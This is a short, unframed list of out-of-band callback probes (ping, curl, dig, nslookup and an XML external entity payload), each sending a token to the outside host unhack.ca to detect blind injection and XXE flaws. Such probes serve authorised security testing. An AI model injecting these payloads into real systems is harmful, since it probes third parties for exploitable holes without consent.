$ ping -c1 -p 008e8eab8a60ef67a47a4189cda07600 unhack.ca
$ curl http://unhack.ca/p/8e8eab8a60ef67a47a4189cda076
$ dig 8e8eab8a60ef67a47a4189cda076 @unhack.ca
$ dig 8e8eab8a60ef67a47a4189cda076.ns.unhack.ca
C:\> nslookup 8e8eab8a60ef67a47a4189cda076 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/8e8eab8a60ef67a47a4189cda076">]> <foo>&xxe;</foo>